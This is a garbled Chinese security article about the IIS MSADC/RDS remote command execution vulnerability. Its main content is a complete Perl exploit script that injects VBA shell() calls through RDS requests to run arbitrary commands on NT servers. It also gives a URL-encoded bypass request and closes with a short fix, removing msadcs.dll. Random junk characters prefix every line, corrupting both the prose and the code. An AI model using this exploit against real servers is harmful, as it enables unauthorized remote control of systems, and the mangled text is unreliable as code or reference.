IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
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% 涉及程序：
-D: b*D Microsoft NT server
1{.9uw"2S X5w$4Kj&4l 描述：
J lJ a
# 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
o5)<$P43 9A#i_#[R 详细：
>8[Z. fX 如果你没有时间读详细内容的话，就删除:
z'7]h TA c:\Program Files\Common Files\System\Msadc\msadcs.dll
y>ktcuML 有关的安全问题就没有了。
)O 6>*wq 43 :X,\~) 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
1xx}~|F?| 1B \WA8 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
0tJ Z4( 0 关于利用ODBC远程漏洞的描述，请参看:
tT._VK]o&R Ew$C
;&9 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm *yGGBqd 5`_SN 74 o 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
qcRs$- J http://www.microsoft.com/security/bulletins/MS99-025faq.asp f?)-}\[IR{ @E8+C8' 这里不再论述。
>.D4co> [_:nHZb 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
)YI(/*+] A?0Nm{O;3v /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
O33 `+UV"W 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
^kSqsT" 0IWf!Sk
] Gp\
kU:}& #将下面这段保存为txt文件，然后: "perl -x 文件名"
4{Z)8;QX h>bx}$q #!perl
(QiAisE #
fTX;.M/%
# MSADC/RDS 'usage' (aka exploit) script
H0cA6I #
%S UQ9\SEs # by rain.forest.puppy
bs1Rvx1:J% #
;9'OOz|+1 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
oD@7
SF # beta test and find errors!
'O-"\J\ ABYcH]m use Socket; use Getopt::Std;
:2)/FPL6 getopts("e:vd:h:XR", \%args);
d0 /#nz ll?X @S print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
(Awm9|. {+ G]aOHJ:. if (!defined $args{h} && !defined $args{R}) {
kvj#c print qq~
U`s{Jm Usage: msadc.pl -h <host> { -d <delay> -X -v }
W(/h Vt -h <host> = host you want to scan (ip or domain)
HLi%%"' -d <seconds> = delay between calls, default 1 second
7o}J%z -X = dump Index Server path table, if available
CTA 3*Gn -v = verbose
( u idNq -e = external dictionary file for step 5
h FBe,'3M Vf1 ^4 t Or a -R will resume a command session
n._-!
WI N4HqLh23H ~; exit;}
@|T'0_' Z$? # $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
^d73Ig:8q if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
kAGBdaJ" if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Jfl!#UAD|n if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
uXl3k:_n $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
An/|+r\ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
>c}u>] D A kiDL=;w if (!defined $args{R}){ $ret = &has_msadc;
.5{ab\_af die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
J4U1t2@)9 2I{"XB print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Oa>Ppldeg . "cmd /c ";
caX<
n>
$in=<STDIN>; chomp $in;
h!9ei6 $command="cmd /c " . $in ;
ygl0k \ }l9llu if (defined $args{R}) {&load; exit;}
T&7qC=E#5 |(^ PS8wG print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
11;zNjD| &try_btcustmr;
ZSm3 XXk % %UE+u @J print "\nStep 2: Trying to make our own DSN...";
Y\'}a+:@Ph &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
+x}<IS8 ?|Zx!z ($ print "\nStep 3: Trying known DSNs...";
X#;bh78&- &known_dsn;
g<
.qUBPKX Rbv;?'O$L print "\nStep 4: Trying known .mdbs...";
P{^6v=8) &known_mdb;
o#1 $q`Z Eu04e N if (defined $args{e}){
seeB S/% print "\nStep 5: Trying dictionary of DSN names...";
ZqO^f*F>h &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
18:%~>.! 0+b1vhQ print "Sorry Charley...maybe next time?\n";
#C@FYO f* exit;
7 "D.L-H )@bQu~Y ##############################################################################
3"\l u?-E "U"Z 3 * sub sendraw { # ripped and modded from whisker
|#N& akC sleep($delay); # it's a DoS on the server! At least on mine...
\Y}8S/] my ($pstr)=@_;
mpJ#:}n socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
D^;Uq8NDKq die("Socket problems\n");
`Ryp% Bn if(connect(S,pack "SnA4x8",2,80,$target)){
<1M-Ro?5k select(S); $|=1;
Aq7osU1B print $pstr; my @in=<S>;
U :_^#\p select(STDOUT); close(S);
\1Em`nvOX return @in;
r" ,GC] } else { die("Can't connect...\n"); }}
sCHJ&>m5- Q&bM\;Ml ##############################################################################
]e@Oiq Pk)1WK7E sub make_header { # make the HTTP request
QP J4~ my $msadc=<<EOT
R*r#E{!V; POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
S|+o-[e8O User-Agent: ACTIVEDATA
4H ]L~^CD Host: $ip
| P}y,pNQ Content-Length: $clen
.#pU=v#/[ Connection: Keep-Alive
t\ewHZ G" Owk |@6! ADCClientVersion:01.06
=odFmF Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
)53y
AyP du^J2m{f --!ADM!ROX!YOUR!WORLD!
*CHX Content-Type: application/x-varg
*4Y V v Content-Length: $reqlen
x-3 \Ls[I !%0 * z EOT
o{[YA} x c ; $msadc=~s/\n/\r\n/g;
P7~ >mm+ return $msadc;}
:9 ^*
^T kMd.h[X~ ##############################################################################
Q ]>.b%s[ `PH{syz sub make_req { # make the RDS request
VW4r{&rS my ($switch, $p1, $p2)=@_;
B^9j@3Ux my $req=""; my $t1, $t2, $query, $dsn;
czd~8WgOa u;c?d!E if ($switch==1){ # this is the btcustmr.mdb query
y'*K|a TG $query="Select * from Customers where City=" . make_shell();
| Xy6PN8 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
4{` { WI{ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
=rX>.P%Q 5 #;nYg?d= elsif ($switch==2){ # this is general make table query
'`KY! ]L $query="create table AZZ (B int, C varchar(10))";
R~$qo)v $dsn="$p1";}
V~ 5jfcd aw42oLk elsif ($switch==3){ # this is general exploit table query
vRO
_Q? $query="select * from AZZ where C=" . make_shell();
wAW5
Z0D $dsn="$p1";}
?5
7Sk+ I2 P@L?h elsif ($switch==4){ # attempt to hork file info from index server
D d</`iUq $query="select path from scope()";
9q[oa5INd $dsn="Provider=MSIDXS;";}
uW36;3[f#1 w+CA1q< elsif ($switch==5){ # bad query
n 7-6-
# $query="select";
<e</m)j $dsn="$p1";}
B`J~^+`[* {{p7 3
'u $t1= make_unicode($query);
X}\:_/ $t2= make_unicode($dsn);
3/n5#&c\4 $req = "\x02\x00\x03\x00";
Jz e:[MYS $req.= "\x08\x00" . pack ("S1", length($t1));
dlTt _. $req.= "\x00\x00" . $t1 ;
) hfpwdQ $req.= "\x08\x00" . pack ("S1", length($t2));
omBoo5e $req.= "\x00\x00" . $t2 ;
<W $mj04@ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Z?m3~L9L2 return $req;}
`+Q%oj#FF j8lb~0JD ##############################################################################
9;-p'C %8~NqS|= sub make_shell { # this makes the shell() statement
a!AA] return "'|shell(\"$command\")|'";}
SI-Ops~e jtc]>]6i ##############################################################################
NHZz _a= W9GVt$T7 sub make_unicode { # quick little function to convert to unicode
%d<"l~<5; my ($in)=@_; my $out;
7O-x<P; for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
_zi| return $out;}
WEi2=3dV 0Z{ZO*rK ##############################################################################
~FG]wNgS :X
(=z;B;N sub rdo_success { # checks for RDO return success (this is kludge)
G*P#]eO my (@in) = @_; my $base=content_start(@in);
^3L0w}# if($in[$base]=~/multipart\/mixed/){
7E~; xn; return 1 if( $in[$base+10]=~/^\x09\x00/ );}
fS78>*K return 0;}
w i6
~}~% uk<9&{ ##############################################################################
)|=j`jCC
]-/VHh sub make_dsn { # this makes a DSN for us
?2Py_gkf my @drives=("c","d","e","f");
wEvVL print "\nMaking DSN: ";
P
m e^l%M foreach $drive (@drives) {
|4 0`B% Z print "$drive: ";
,wAF:7' my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
+ @s"zp;F "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
O[JL+g4
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
6 G""I]uT $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
o]I\6,T/| return 0 if $2 eq "404"; # not found/doesn't exist
%/ #NK1&M if($2 eq "200") {
{[?(9u7R foreach $line (@results) {
1NA.nw. return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
J]pir4&j } return 0;}
Cd}<a?m, 6gu!bu`~ ##############################################################################
CdjI` lchPpm9 sub verify_exists {
sN01rtB(UT my ($page)=@_;
6zuTQ^ pz my @results=sendraw("GET $page HTTP/1.0\n\n");
o u{2@" return $results[0];}
% ^1V4 <1${1A <Wa ##############################################################################
[j/9neay e N~zdWnSZ@G sub try_btcustmr {
#fn)k1 my @drives=("c","d","e","f");
6fEqqUeV my @dirs=("winnt","winnt35","winnt351","win","windows");
pYmk1!]/ %S^8c foreach $dir (@dirs) {
R|87%&6'] print "$dir -> "; # fun status so you can see progress
K} X&AJ5A foreach $drive (@drives) {
_TQj~W< print "$drive: "; # ditto
} l} Bo.C $reqlen=length( make_req(1,$drive,$dir) ) - 28;
t ) $:0 $reqlenlen=length( "$reqlen" );
"n5N[1b k $clen= 206 + $reqlenlen + $reqlen;
Ig0VW) @ _H7x9
y= my @results=sendraw(make_header() . make_req(1,$drive,$dir));
#( 146 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
N)\. [v else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
<FkFs{(t EDl! w: ##############################################################################
l L@XM2" y(yHt= r sub odbc_error {
`Cynj+PCe my (@in)=@_; my $base;
$1L> )S my $base = content_start(@in);
9w"4K. if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
1JG'%8}#8 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Pw`8Wj $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
nV /G8SeI $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
y'nK>)WG4 return $in[$base+4].$in[$base+5].$in[$base+6];}
=ncVnW{ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
i#Bf"W{F print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
`%9 uE( $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
ShP^A"Do u.m[u)HQ ##############################################################################
Zaf:fsj> Gk&)08 sub verbose {
6wjw ^m0 my ($in)=@_;
1FL~ndJs return if !$verbose;
Lx SpctiNx print STDOUT "\n$in\n";}
>7T'OC h_3E)jc ##############################################################################
0#Y5_i|p W/bQd)Jvk sub save {
E e% %d my ($p1, $p2, $p3, $p4)=@_;
`MN4uC open(OUT, ">rds.save") || print "Problem saving parameters...\n";
,77d(bR < print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
_FU_Ubkr close OUT;}
$AjHbU.I{ o&)8o5 ##############################################################################
?(F6#"/E <7Or{:Sc90 sub load {
cO+qs[
BQ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
k&vz 7Q`T open(IN,"<rds.save") || die("Couldn't open rds.save\n");
2,b(,3{`4: @p=<IN>; close(IN);
BLf>_b Uk $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
h#
o6K# $target= inet_aton($ip) || die("inet_aton problems");
g63(E,;;J print "Resuming to $ip ...";
X Z]uUP $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
vDhh>x( if($p[1]==1) {
B:S>wFE(. $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
i0kak`x0 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
}t=!(GOb} my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
}9# r0Vja if (rdo_success(@results)){print "Success!\n";}
pis`$_kmwV else { print "failed\n"; verbose(odbc_error(@results));}}
1N#|
}ad elsif ($p[1]==3){
}Gm>`cw- if(run_query("$p[3]")){
S8wLmd> print "Success!\n";} else { print "failed\n"; }}
IT7wT+ elsif ($p[1]==4){
J~ zUp(>K if(run_query($drvst . "$p[3]")){
*/^q{PsN print "Success!\n"; } else { print "failed\n"; }}
;dtA4:IRZ4 exit;}
%XoiVlT@: {{D)YldtA ##############################################################################
*-=(Q` 3 mt +Oi70 sub create_table {
7yH" l9Z my ($in)=@_;
U} e!Wjrc $reqlen=length( make_req(2,$in,"") ) - 28;
PI:4m%[ $reqlenlen=length( "$reqlen" );
17[3/m8a $clen= 206 + $reqlenlen + $reqlen;
p6]1w]*R my @results=sendraw(make_header() . make_req(2,$in,""));
RYQR(v return 1 if rdo_success(@results);
t?-n*9,#S my $temp= odbc_error(@results); verbose($temp);
BB!THj69a6 return 1 if $temp=~/Table 'AZZ' already exists/;
j<99FW"@e return 0;}
fo#fg8zX% BxWPC#5
##############################################################################
vkx7paY_ n,V[eW#m'L sub known_dsn {
c"n\cNP< # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
M 4oy my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
r?lf($ D * "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
"fCu=@i "banner", "banners", "ads", "ADCDemo", "ADCTest");
p; 59? gx8ouOh foreach $dSn (@dsns) {
k"T} 2 7 print ".";
$m%f wB next if (!is_access("DSN=$dSn"));
mAj?>;R2$2 if(create_table("DSN=$dSn")){
, j2Udn}
print "$dSn successful\n";
V6&!9b if(run_query("DSN=$dSn")){
Yz/md1T$ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
jrlVvzZ print "Something's borked. Use verbose next time\n";}}} print "\n";}
U9:zVy ^& t Z ##############################################################################
9N%We|L,c n.`($yR_ sub is_access {
h-#6av : my ($in)=@_;
nwB_8 mN| $reqlen=length( make_req(5,$in,"") ) - 28;
hOu3 bA $reqlenlen=length( "$reqlen" );
:0j?oY~e $clen= 206 + $reqlenlen + $reqlen;
,.83m%i my @results=sendraw(make_header() . make_req(5,$in,""));
[' X]R: 3h my $temp= odbc_error(@results);
Utj&]REL K verbose($temp); return 1 if ($temp=~/Microsoft Access/);
0neoE
E return 0;}
@uqd.Q ?wiC Q6*$ ##############################################################################
b8`)y< 7 &I+5 sub run_query {
.779pT!,M my ($in)=@_;
?cBwPet p $reqlen=length( make_req(3,$in,"") ) - 28;
DnMwUykF>0 $reqlenlen=length( "$reqlen" );
av}k)ZT_ $clen= 206 + $reqlenlen + $reqlen;
<
Mn ; my @results=sendraw(make_header() . make_req(3,$in,""));
SO|NaqW a return 1 if rdo_success(@results);
QuF :p my $temp= odbc_error(@results); verbose($temp);
hLd^ agX return 0;}
TluW-S zU kgG61 ##############################################################################
dUeN*Nq&(, BOb">6C sub known_mdb {
g|DF[ my @drives=("c","d","e","f","g");
q1 $N>;& my @dirs=("winnt","winnt35","winnt351","win","windows");
p*R ;hU my $dir, $drive, $mdb;
}{K)
4M my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Fh?gNSWq6 ??-[eB. # this is sparse, because I don't know of many
W+aP}rZm: my @sysmdbs=( "\\catroot\\icatalog.mdb",
67JA=,EE "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
(^8Y|:Tz "\\system32\\certmdb.mdb",
~ drS} V "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
P_dCR u<7/0;D#+ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
}l(&}#dY "\\cfusion\\cfapps\\forums\\forums_.mdb",
Gv!2f "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
~NrG`
D} "\\cfusion\\cfapps\\security\\realm_.mdb",
EnKR%Ctw "\\cfusion\\cfapps\\security\\data\\realm.mdb",
~9a<0Mc? "\\cfusion\\database\\cfexamples.mdb",
j\[dx^\= "\\cfusion\\database\\cfsnippets.mdb",
)0. kv2o. "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
[64:4/<} "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
S xt"B "\\cfusion\\brighttiger\\database\\cleam.mdb",
7{e
4c "\\cfusion\\database\\smpolicy.mdb",
fIx+IL s "\\cfusion\\database\cypress.mdb",
P%V'4p c "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
k_L7 kvpt "\\website\\cgi-win\\dbsample.mdb",
~RW+ GTe
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
|B?m,U$A! "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
AP n| \ ); #these are just
m)ky*"( foreach $drive (@drives) {
u:6Ic)7' foreach $dir (@dirs){
59LZv-l foreach $mdb (@sysmdbs) {
)al]*[lY print ".";
VZp5)-!\ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
! _] Y~[ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
''A_[J `> if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
2@ n{yYwy print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
[`#CXq' } else { print "Something's borked. Use verbose next time\n"; }}}}}
@ wGPqg SB;&GHq"n foreach $drive (@drives) {
G, }Yl foreach $mdb (@mdbs) {
!fV+z%: print ".";
Avge eJi if(create_table($drv . $drive . $dir . $mdb)){
j"t(0 m print "\n" . $drive . $dir . $mdb . " successful\n";
IA fc T!{ if(run_query($drv . $drive . $dir . $mdb)){
1*P~!2h print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
. wEd"A&j } else { print "Something's borked. Use verbose next time\n"; }}}}
*<$*"p }
SXSgld2uS I13y6= d ##############################################################################
& TCkpS zq 3\}9 sub hork_idx {
}kw#7m54 print "\nAttempting to dump Index Server tables...\n";
@+&LYy72 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
x 77*c._3v $reqlen=length( make_req(4,"","") ) - 28;
!{+,B5 Hc $reqlenlen=length( "$reqlen" );
t >L2 $clen= 206 + $reqlenlen + $reqlen;
sNbxI|B my @results=sendraw2(make_header() . make_req(4,"",""));
JinUV6cr if (rdo_success(@results)){
\0^Kram> my $max=@results; my $c; my %d;
$P > for($c=19; $c<$max; $c++){
A 6 $results[$c]=~s/\x00//g;
E+j/ Cu $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
!4ocZmj\ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
wm+};L&_ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
q\9JgD) $d{"$1$2"}="";}
F#3Q_G^/ foreach $c (keys %d){ print "$c\n"; }
j"8 ZM{aO } else {print "Index server doesn't seem to be installed.\n"; }}
S pIv#? <v"R .< ##############################################################################
z{%< <pZ @ f_Lp%K sub dsn_dict {
I
}a`0Y&{ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
")1:F> while(<IN>){
DHg :8%3 x $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
y B81f next if (!is_access("DSN=$dSn"));
~T"Rw2v b if(create_table("DSN=$dSn")){
H9Gh>u]} print "$dSn successful\n";
RF?`vRZ Oe if(run_query("DSN=$dSn")){
#z' print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
>1X|^ print "Something's borked. Use verbose next time\n";}}}
F0m-23[H print "\n"; close(IN);}
Gf%~{@7=u cRC6 s8 ##############################################################################
+X\FBvP& d UD[e, ? sub sendraw2 { # ripped and modded from whisker
WSP I|#Xr% sleep($delay); # it's a DoS on the server! At least on mine...
8$] 1M,$r my ($pstr)=@_;
:^<3>zk socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Q8$}@iA[ die("Socket problems\n");
Ex.yU{|c if(connect(S,pack "SnA4x8",2,80,$target)){
XMCXQs& print "Connected. Getting data";
SjK open(OUT,">raw.out"); my @in;
!K#qe Y} select(S); $|=1; print $pstr;
K$ z2YJ% while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
:ffY6L+ close(OUT); select(STDOUT); close(S); return @in;
;'gWu } else { die("Can't connect...\n"); }}
cQjv$$&6[ 9V a}I- ##############################################################################
'"52uZ{ QDZWX` qw{ sub content_start { # this will take in the server headers
m%0p\Y-/ my (@in)=@_; my $c;
9v #CE! for ($c=1;$c<500;$c++) {
k<z )WNBf if($in[$c] =~/^\x0d\x0a/){
b8H{8{wi| if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
5G}?fSQ> else { return $c+1; }}}
Q1lyj7c#x return -1;} # it should never get here actually
M+oHtX $ ~ \r* ##############################################################################
HGl|-nW> TbMW|0 #w sub funky {
\a< wKTkn my (@in)=@_; my $error=odbc_error(@in);
h y9\57_# if($error=~/ADO could not find the specified provider/){
1l9 G[o
* print "\nServer returned an ADO miscofiguration message\nAborting.\n";
*nd! )t exit;}
UklU w if($error=~/A Handler is required/){
_OYasJUMG print "\nServer has custom handler filters (they most likely are patched)\n";
2bz2KB5> exit;}
j<u pRS,$ if($error=~/specified Handler has denied Access/){
v6|RJt? print "\nServer has custom handler filters (they most likely are patched)\n";
g%o(+d exit;}}
OU E (I3_ }ZYd4h|g\z ##############################################################################
iG $!6;w< XMZ,Y7 sub has_msadc {
@?ebuj5{e my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
P|`8}|}a my $base=content_start(@results);
zg>zUe
bA return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
"2!&5s,1p return 0;}
@b\$ y B@z `&qL(66 ########################
W@ >% {eE &{5,:%PXw VCYwz B 解决方案：
, };& tR 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Y!xF ; a 2、移除web 目录: /msadc
